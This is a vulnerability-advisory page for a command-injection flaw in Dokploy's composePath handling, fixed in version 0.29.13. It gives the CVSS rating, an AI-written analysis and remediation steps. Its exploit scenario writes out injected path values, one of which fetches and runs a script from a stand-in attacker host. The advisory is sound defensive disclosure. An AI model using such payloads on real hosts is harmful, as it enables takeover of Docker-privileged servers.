Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Network API reachable (AV:N), no special conditions (AC:L), requires an authenticated member with compose/deploy rights (PR:L), no interaction (UI:N); command execution breaks out of the app into the Docker-privileged host (S:C) with full C/I/A loss.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
4DescriptionCVE.org
Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, the compose.update operation stores an unvalidated composePath that packages/server/src/utils/builders/compose.ts and packages/server/src/services/compose.ts interpolate into docker compose -f, docker stack deploy -c, and touch shell commands executed through /bin/sh -c. An authenticated member with compose write and deploy permission can supply a crafted composePath, trigger compose.deploy or startCompose, and execute arbitrary operating-system commands in the Docker-privileged Dokploy host context. This issue is fixed in version 0.29.13.
Articles & Coverage 1
AnalysisAI
OS command injection in Dokploy self-hosted PaaS prior to 0.29.13 lets an authenticated project member with compose write and deploy permissions execute arbitrary commands on the Docker-privileged host. The compose.update operation persists an unvalidated composePath that is later interpolated verbatim into docker compose -f, docker stack deploy -c, and touch commands run via /bin/sh -c, so a crafted path fires shell metacharacters when the compose is deployed. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated Dokploy account that holds BOTH compose write and deploy permission (CVSS PR:L confirms authentication is needed - this is not exploitable anonymously). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 Critical) is internally consistent with the description: network-reachable API, low complexity, low-but-nonzero privileges (an authenticated member), no user interaction, and a scope change reflecting breakout from the application context into the Docker-privileged host with full confidentiality, integrity, and availability loss. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A team member (or an attacker who has phished/compromised such an account) with compose write and deploy rights edits a compose service and sets its composePath to a value like `docker-compose.yml; touch /tmp/pwned` or `$(curl http://attacker/x|sh)`. They then trigger compose.deploy or startCompose, and Dokploy interpolates the path directly into a `/bin/sh -c` docker command, executing the attacker's payload as the Docker-privileged Dokploy host process. … |
| Remediation | Vendor-released patch: upgrade to Dokploy 0.29.13 (release https://github.com/Dokploy/dokploy/releases/tag/v0.29.13), which introduces shell-quote escaping of composePath, appName, and env-file paths plus a metacharacter denylist on custom compose commands, per advisory GHSA-8r5w-vqjr-8c44 and PR #4863. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: audit all Dokploy deployments for versions prior to 0.29.13; enumerate users holding project member status with compose write/deploy permissions; implement emergency access restrictions limiting these permissions to only absolutely critical, explicitly-approved users. …
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Same weakness CWE-78 – OS Command Injection
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-55723